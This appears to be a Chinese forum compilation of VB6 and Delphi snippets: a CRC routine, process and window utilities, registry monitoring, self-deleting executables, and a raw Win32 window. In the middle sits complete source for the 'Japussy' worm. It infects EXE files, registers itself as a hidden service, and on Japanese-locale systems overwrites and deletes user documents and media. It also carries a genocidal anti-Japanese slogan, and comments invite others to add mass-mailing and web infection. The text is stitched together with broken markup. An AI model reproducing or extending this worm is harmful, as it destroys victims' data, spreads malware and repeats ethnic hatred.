因为利用了汇编代码,速度特别快,有空可以测试测试.
新建一个EXE工程,加入两个TEXTBOX控件,默认名称,一个BUTTON控件即可.

Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, _
ByVal hwnd As Long, _
ByVal Msg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long


Private Function
AsmCrc(bytInput() As Byte, ByVal Init As Long) As Long
Dim
Asm(5) As Long
Asm(0) = &H5B5A5958
Asm(1) = &HC033505E
Asm(2) = &H3018A36
Asm(3) = &H41CED1F0
Asm(4) = &HF47ECA3B
Asm(5) = &HC3338936
CallWindowProc VarPtr(Asm(0)), _
VarPtr(bytInput(LBound(bytInput))), _
VarPtr(bytInput(UBound(bytInput))), _
VarPtr(AsmCrc), _
Init
End Function

Private Sub
Command1_Click()
Dim myBAry() As Byte
Dim
myL As Long

myBAry = StrConv(Text1.Text, vbFromUnicode)

myL = AsmCrc(myBAry, Len(Text1.Text))
Text2.Text =
"字符串“" & Text1.Text & "”的CRC校验:" & myL
End Sub



program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量



//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit
;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(
FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end
;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?汤姆感激不尽!
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try
//出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for
i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = color="#808080">#80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;

end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end
;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for
i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if
(SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if
(FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if
(Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户,这个是我最喜欢的!
//哪位大兄弟愿意完成之?汤姆感激不尽!
end
else if
Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if
Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if
Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if
IsJap then //是倭文操作系统
begin
if
(Ext = '.DOC') or (Ext = '.XLS') or (Ext = ="#808080">'.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if
IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if
GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for
i font>:= Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if
IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?汤姆感激不尽!
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.



uses TLHelp32,PsAPI;

///////////////////////////
//(1)显示进程列表:
///////////////////////////
procedure TForm1.Button2Click(Sender: TObject);
var lppe: TProcessEntry32;
found : boolean;
Hand : THandle;
P:DWORD;
s:string;
begin
ListBox1.Items.Clear ;
Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found := Process32First(Hand,lppe);
while found do
begin
s := StrPas(lppe.szExeFile);
if lppe.th32ProcessID>0 then
p := lppe.th32ProcessID
else
p := 0;
ListBox1.Items.AddObject(s,pointer(p));//列出所有进程。
found := Process32Next(Hand,lppe);
end;
end;

///////////////////////////
//(2)杀死某进程:
///////////////////////////
procedure TForm1.Button3Click(Sender: TObject);
var lppe: TProcessEntry32;
found : boolean;
Hand : THandle;
P:DWORD;
sExeFile,sSelect:string;
killed:boolean;
begin
p :=DWORD(ListBox1.Items.Objects[ListBox1.itemindex]);
if P<>0 then
begin
killed := TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
if not killed then
messagebox(self.handle,pchar(sExeFile+'无法杀死!'),'提示',MB_OK or MB_ICONWARNING)
else
ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
end;

///////////////////////////
//(3)取得某进程EXE路径:
///////////////////////////
procedure TForm1.Button8Click(Sender: TObject); //uses PSAPI;
var
h:THandle; fileName:string; iLen:integer; hMod:HMODULE;cbNeeded,p:DWORD;
begin
p :=DWORD(ListBox1.Items.Objects[ListBox1.itemindex]);
h := OpenProcess(PROCESS_ALL_ACCESS, false, p); //p 为 进程ID
if h > 0 then
begin
if
EnumProcessModules( h, @hMod, sizeof(hMod), cbNeeded) then
begin
SetLength(fileName, MAX_PATH);
iLen := GetModuleFileNameEx(h, hMod, PCHAR(fileName), MAX_PATH);
if iLen <> 0 then
begin
SetLength(fileName, StrLen(PCHAR(fileName)));
ShowMessage(fileName);
end;
end;
CloseHandle(h);
end;
end;

///////////////////////////
//(4)取得窗口列表
///////////////////////////
begin
ListBox1.Items.Clear ;
EnumWindows(@EnumWindowsProc, 0);
end;

///////////////////////////
//(5)杀死窗口进程
///////////////////////////
procedure TForm1.Button6Click(Sender: TObject);
var
H:THandle;
P:DWORD;
s:string;
killed:boolean;
begin
s := ListBox1.Items[ListBox1.ItemIndex];
H:=FindWindow(nil,pchar(s));
if H<>0 then
begin
GetWindowThreadProcessId(H,@P);
if P<>0 then
killed:=TerminateProcess(OpenProcess(PROCESS_TERMINATE,False,P),$FFFFFFFF);
if not killed then
messagebox(self.handle,pchar(s+'无法杀死!'),'提示',MB_OK or MB_ICONWARNING)
else
ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
end;

///////////////////////////
//(6)取得窗口进程路径:
///////////////////////////
procedure TForm1.Button9Click(Sender: TObject);
var
H:THandle; P,cbNeeded: DWORD; s,fileName:string;
iLen:integer; hMod:HMODULE;
begin
s := ListBox1.Items[ListBox1.ItemIndex];
H:=FindWindow(nil,pchar(s));

if H<>0 then
begin
GetWindowThreadProcessId(H,@P);
if P<>0 then
begin
h := OpenProcess(PROCESS_ALL_ACCESS, false, p); //p 为 进程ID
if h > 0 then
begin
if
EnumProcessModules( h, @hMod, sizeof(hMod), cbNeeded) then
begin
SetLength(fileName, MAX_PATH);
iLen := GetModuleFileNameEx(h, hMod, PCHAR(fileName), MAX_PATH);
if iLen <> 0 then
begin
SetLength(fileName, StrLen(PCHAR(fileName)));
ShowMessage(fileName);
end;
end;
CloseHandle(h);
end;
end;
end;
end;

///////////////////////////
//(7)文件属性:
///////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
SR: TSearchRec;
V1, V2, V3, V4: integer ;
const
dtFmt:string = 'YYYY-MM-DD HH:NN:SS';
begin
// 方法一
if FindFirst(sFileName, faAnyFile, SR) = 0 then
begin
Edit1.Text := intToStr(SR.Attr); //文件属性
Edit2.Text := intToStr(SR.Size); //文件大小
Edit3.Text := FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftCreationTime)); //创建时间
Edit4.Text := FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftLastWriteTime)); //最后修改时间
Edit5.Text := FormatDateTime(dtFmt,CovFileDate(SR.FindData.ftLastAccessTime)); //最后访问时间

if SR.Attr and faHidden <> 0 then
FileSetAttr(sFileName, SR.Attr-faHidden);

FindClose(SR);
end;

if GetFileVersion(sFileName,V1, V2, V3, V4) then
Edit7.Text := intToStr(v1)+'.'+intToStr(v2)+'.'+intToStr(v3)+'.'+intToStr(v4);
end;

// 方法二
{
var
Attrs: Word;
f: file of Byte; // 文件大小 必须要 定义为" file of byte" ,这样才能取出 bytes
size: Longint;

//文件属性
Attrs := FileGetAttr(sFileName);

Edit1.Text := intToStr(Attrs);

//文件大小
AssignFile(f, OpenDialog1.FileName);
Reset(f);
try
AssignFile(f, sFileName);
Reset(f);
size := FileSize(f);
Edit2.Text := intToStr(size);
finally
CloseFile(f);
end;
}

///////////////////////////
//(8)判断程序是否在运行:
///////////////////////////
procedure TForm1.Button5Click(Sender: TObject);
var PrevInstHandle:Thandle;
AppTitle:pchar;
begin
AppTitle := pchar('test');
PrevInstHandle := FindWindow(nil, AppTitle);
if PrevInstHandle <> 0 then begin
if
IsIconic(PrevInstHandle) then
ShowWindow(PrevInstHandle, SW_RESTORE)
else
BringWindowToTop(PrevInstHandle);
SetForegroundWindow(PrevInstHandle);
end;
end;




  前两天看了Delphi版面精华区中的《进程死亡的自动复活》一文,觉得作者的思路很不错,利用api来监视进程的活动,当被销毁时就自动再创建进程。仔细推敲之后,发觉其实用vb也是可以做到的。于是花了半天的时间写了以下的程序,实现了使用WaitForSingleObject API来监视被创建的进程的活动,一旦返回除 time out 之外的消息就自动创建新的进程。以下为其实现代码。在 win2000 server + vb 6.0下通过。

Option Explicit

Private RunFile$

Private Const NORMAL_PRIORITY_CLASS = &H20 '如果进程位于前台,则基本值是9;如果在后台,则优先值为7
Private Const INFINITE = &HFFFFFFFF
Private Const WAIT_TIMEOUT = &H102& '对象保持未发出信号的状态,但等待超时时间已经超过
Private Flag As Boolean ‘进程活动监视标志

'说明∶PROCESS_INFORMATION结构由CreateProcess函数将关于新建立的进程和
'主要线索的信息写入其中成员变量
Private Type PROCESS_INFORMATION '
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End
Type

'说明∶STARTUPINFO结构用在CreateProcess函数中指定为新进程建立的新窗口的主要属性。这一
'一信息影响由CreateWindows函数建立的第一个窗口
Private Type STARTUPINFO
cb
As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End
Type

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function
WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function
CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function
WaitForInputIdle Lib "user32" (ByVal hProcess As Long, ByVal dwMilliseconds As Long) As Long

Private Sub
command1_Click()
Dim res&
Dim sinfo As STARTUPINFO
Dim pinfo As PROCESS_INFORMATION
sinfo.cb = Len(sinfo)
sinfo.lpReserved = vbNullString
sinfo.lpDesktop = vbNullString
sinfo.lpTitle = vbNullString
sinfo.dwFlags =
0

Label1.Caption = "正在启动程序"
Label1.Refresh
' CreateProcess函数,用于创建一个新的进程
res = CreateProcess(DemoFile, vbNullString, 0, font>0, True, _
NORMAL_PRIORITY_CLASS,
ByVal 0&, vbNullString, sinfo, pinfo)
If res Then
Label1.Caption = "程序正在运行中"
WaitForTerm pinfo
Label1.Caption =
"程序已经结束"
Else
Label1.Caption = "启动程序时出错,可能未正确输入" & Chr(13) & "程序名或程序所在路径。"
End If
End Sub

Private Sub
WaitForTerm(pinfo As PROCESS_INFORMATION)
Dim res&
Dim res1&
' 等待指定的进程进入空闲状态,,空闲(Idle)指的是进程准备处理一条消息、但目前暂时没有消息需要处理的一种状态
Call WaitForInputIdle(pinfo.hProcess, INFINITE)
Command1.Enabled =
False
Command2.Enabled = True
Label1.Refresh
Do
If
Flag Then Exit Do

'等待发出信号
res = WaitForSingleObject(pinfo.hProcess, 0)
If res <> WAIT_TIMEOUT Then '如果对象发出了信号
command1_Click

Exit Do
End If
DoEvents
Debug.Print res

Loop While True
Command1.Enabled = True
Command2.Enabled = False
End Sub

Private Sub
Command3_Click()
Flag =
True
End Sub

Private Sub
Form_Load()
RunFile = InputBox$(
"请输入需要运行的程序名与路经")
Flag =
False
End Sub




第一种:(普通批处理方式)

procedure DeleteMe;
var
BatchFile: TextFile;
BatchFileName: string;
ProcessInfo: TProcessInformation;
StartUpInfo: TStartupInfo;
begin
BatchFileName := ExtractFilePath(ParamStr(0)) + '_deleteme.bat';
AssignFile(BatchFile, BatchFileName);
Rewrite(BatchFile);

Writeln(BatchFile, ':try');
Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
Writeln(BatchFile,
'if exist "' + ParamStr(0) + '"' + ' goto try');
Writeln(BatchFile, 'del %0');
CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
StartUpInfo.wShowWindow := SW_HIDE;
if CreateProcess(nil, PChar(BatchFileName), nil, nil,
False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
ProcessInfo) then
begin
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
DeleteMe;
close;
end;

end.



第二种:(系统控制批处理方式)
我们经常遇到这样的软件,运行之后就消失的无影无踪,特别是一些黑客的木马工具。
如果我们能掌握这个技术,即使不做黑客工具,也可以在程序加密、软件卸载等方面发挥作用。
那么他们是怎样实现的呢? ---- 以delphi为例,在form关闭的时候执行以下函数closeme即可。

procedure TForm1.closeme;
var f:textfile;
begin
assignfile(f,'.\delme.bat');
rewrite(f);
writeln(f,'@echo off');
writeln(f,':loop');
writeln(f,'del "'+application.ExeName+'"');
writeln(f,'if exist .\file.exe goto loop');
writeln(f,'del .\delme.bat');
closefile(f);
winexec('.\delme.bat' t>, SW_HIDE);
close;
end;

winexec(pchar('command.com /c del '+ParamStr(0)),SW_MINIMIZE);//最小化执行删除操作,否则将看到DOS窗口的瞬间闪烁



第三种:

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ShellAPI, ShlObj;

type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

function Suicide: Boolean;
var
sei: TSHELLEXECUTEINFO;
szModule: PChar;
szComspec: PChar;
szParams: PChar;
begin
szModule := AllocMem(MAX_PATH);
szComspec := AllocMem(MAX_PATH);
szParams := AllocMem(MAX_PATH);

// get file path names:
if ((GetModuleFileName(0,szModule,MAX_PATH)<>0) and
(GetShortPathName(szModule,szModule,MAX_PATH)<>0) and
(GetEnvironmentVariable('COMSPEC',szComspec,MAX_PATH)<>0)) then
begin
// set command shell parameters
lstrcpy(szParams,'/c del ');
lstrcat(szParams, szModule);

// set struct members
sei.cbSize := sizeof(sei);
sei.Wnd := 0;
sei.lpVerb := 'Open';
sei.lpFile := szComspec;
sei.lpParameters := szParams;
sei.lpDirectory := 0;
sei.nShow := SW_HIDE;
sei.fMask := SEE_MASK_NOCLOSEPROCESS;

// invoke command shell
if (ShellExecuteEx(@sei)) then
begin
// suppress command shell process until program exits
SetPriorityClass(sei.hProcess,HIGH_PRIORITY_CLASS ont>);//IDLE_PRIORITY_CLASS);

SetPriorityClass( GetCurrentProcess(),
REALTIME_PRIORITY_CLASS);

SetThreadPriority( GetCurrentThread(),
THREAD_PRIORITY_TIME_CRITICAL);

// notify explorer shell of deletion
SHChangeNotify(SHCNE_Delete,SHCNF_PATH,szModule,nil);

Result := True;
end
else
Result := False;
end
else
Result := False;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Suicide;
end;



第四种:

procedure deleteSelf;
var hModule: THandle;
szModuleName: array[0..MAX_PATH] of char;
hKrnl32: THandle;
pExitProcess, pdeleteFile, pFreeLibrary, pUnmapViewOfFile: pointer;
ExitCode: UINT;
begin
hModule := GetModuleHandle(nil);
GetModuleFileName(hModule, szModuleName, sizeof(szModuleName));

hKrnl32 := GetModuleHandle('kernel32');
pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
pdeleteFile := GetProcAddress(hKrnl32, 'deleteFileA');
pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
pUnmapViewOfFile := GetProcAddress(hKrnl32, 'UnmapViewOfFile');
ExitCode := system.ExitCode;
if ($80000000 and GetVersion()) <> 0 then
// Win95, 98, Me
asm
lea eax, szModuleName
push ExitCode
push 0
push eax
push pExitProcess
push hModule
push pdeleteFile
push pFreeLibrary
ret
end
else
begin
CloseHandle(THANDLE(4));
asm
lea eax, szModuleName
push ExitCode
push 0
push eax
push pExitProcess
push hModule
push pdeleteFile
push pUnmapViewOfFile
ret
end
end
end
;



Delphi自带的TRegistry类只能实现注册表的基本操作,如果我们要实时监视注册表的变化或者扫描注册表特定项下的所有子项,TRegistry类就无能为力了。我啃了半天SDK,终于实现了Delphi对注册表的监视与扫描,不敢独享,拿来献给广大的Delphi爱好者。

监视注册表相关项的改变要用到一个API:RegNotifyChangeKeyValue。

LONG RegNotifyChangeKeyValue
(

HKEY hKey, // 要监视的一个项的句柄
BOOL bWatchSubtree, // 是否监视此项的子键
DWORD dwNotifyFilter, // 监视哪些变化
HANDLE hEvent, // 接受注册表变化事件的事件对象句柄
BOOL fAsynchronous // 注册表变化前报告还是注册表变化后才报告
);

注意上面的hEvent是接受注册表变化事件的事件对象句柄,我们要用API:CreateEvent来创建一个系统事件对象。

HANDLE CreateEvent
(

LPSECURITY_ATTRIBUTES lpEventAttributes, // SECURITY_ATTRIBUTES结构
BOOL bManualReset, // 是否自动重置
BOOL bInitialState, // 是否设置初始状态
LPCTSTR lpName // 事件对象的名称
);

新建一个工程,添加一个ListBox,两个Button。

//先写个监视注册表的例子
//监视HKEY_CURRENT_USER\Software项下所有子键
procedure TForm1.Button1Click(Sender: TObject);
var
hNotify : THandle;
hKeyx : HKEY;
dwRes : DWORD;
begin
hNotify := CreateEvent( nil, //不使用SECURITY_ATTRIBUTES结构
FALSE, //不自动重置
TRUE, //设置初始状态
'RegistryNotify' //事件对象的名称
);

if hNotify = 0 then
begin
Showmessage('CreateEvent failed.');
exit;
end;

if RegOpenKeyEx( HKEY_CURRENT_USER, //跟键
'Software', //子键
0, //reserved
KEY_NOTIFY, //监视用
hKeyx //保存句柄
) <> ERROR_SUCCESS then
begin
CloseHandle( hNotify );
Showmessage('RegOpenKeyEx failed.');
exit;
end;

if RegNotifyChangeKeyValue( hKeyx, //监视子键句柄
TRUE, //监视此项的子键
REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_LAST_SET,
hNotify, //接受注册表变化事件的事件对象句柄
TRUE //注册表变化前报告
) <> ERROR_SUCCESS then
begin
CloseHandle( hNotify );
RegCloseKey( hKeyx );
Showmessage('RegNotifyChangeKeyValue failed');
exit;
end;

dwRes := WaitForSingleObject( hNotify, 60 * 1000 ); //监视一分钟
if dwRes = 0 then
Showmessage( 'Registry will be changed.' );

CloseHandle( hNotify );
RegCloseKey( hKeyx );
end;


要注意的是,API: WaitForSingleObject要等到注册表变化事件发生或者超时才会返回,在此期间我们的程序将失去响应。解决的办法是新建一个线程,在新线程中监视注册表。

对注册表进行扫描要用到另外两个API
: RegEnumKey和RegEnumValue。

LONG RegEnumKey
(
HKEY hKey, // 要扫描的注册表项目句柄
DWORD dwIndex, // 要扫描的subkey序号
LPTSTR lpName, // 要扫描的subkey名称
LPDWORD lpcbName, // 要扫描的subkey名称占用空间
);

此函数的使用方法是: 首先给dwIndex赋值0, 调用RegEnumKey; 然后Inc(dwIndex), 再调用RegEnumKey,直到返回值为ERROR_NO_MORE_ITEMS,表示没有更多的子项了。

//扫描注册表的例子
//只演示了如何枚举HKEY_CURRENT_USER\Software下的一层子项
procedure TForm1.Button2Click(Sender: TObject);
var
buf : array [0..255] of char;
iRes : integer;
hKeyx : HKEY;
dwIndex, dwSize : DWORD;
begin
if
RegOpenKeyEx( HKEY_CURRENT_USER, 'Software', 0, KEY_READ or
KEY_ENUMERATE_SUB_KEYS, hKeyx ) <> ERROR_SUCCESS then
begin
Showmessage('RegOpenKeyEx failed.');
exit;
end;

dwIndex := 0;
repeat
dwSize := 255;
iRes := RegEnumKey( hKeyx, dwIndex, buf, dwSize );
if iRes = ERROR_NO_MORE_ITEMS then
break
else if iRes = ERROR_SUCCESS then
begin
Listbox1.Items.Add( buf );
Inc( dwIndex );
end;
until iRes <> ERROR_SUCCESS;

RegCloseKey( hKeyx );
end;



// Delphi 下调用Windows API 创建窗体. //

program delphi;

uses
windows,
messages;

const
hellostr='Hello World!';

{$R delphi.res}


//窗口消息处理函数.
function MyWinProc(hWnd:THandle;uMsg:UINT;wParam,lParam:Cardinal):Cardinal;exp
ort
;stdcall;

var
hdca,hdcb:THandle; //设备描述表句柄.
rect:TRect; //矩形结构.
font:HFont;
ps:TPaintStruct; //绘图结构.
begin
result:=0;
case uMsg of
WM_PAINT:
begin
hdca:=BeginPaint(hWnd,ps);
SetBkMode(hdca, Transparent);
SetBkColor(hdca,GetBkColor(hdca));
GetClientRect(hWnd,rect); //获取窗口客户区的尺寸.
DrawText(hdca,Pchar(hellostr),-1,rect,DT_SINGLELINE or DT_CENTER or DT
_VCENTER
);
// TextOut(hdc,100,40,hellostr,Length(hellostr));
EndPaint(hWnd,ps);
end;
WM_Create:
begin
hdcb := GetDC(hWnd);
font := CreateFont(45, 0, 0, 0, FW_normal, 0, 0, 0, ansi_charset, out
_default_precis, clip_default_precis,
default_quality, 34, PChar('Arial'));
SelectObject(hdcb, font);
ReleaseDC(hWnd, hdcb);
end;
WM_DESTROY:
PostQuitMessage(0)
else
//使用缺省的窗口消息处理函数.
result:=DefWindowProc(hWnd,uMsg,wParam,lParam);
end;
end;

//主程序开始.

var
Msg :TMsg; //消息结构.
hWnd,hInst :THandle; //Windows 窗口
句柄.
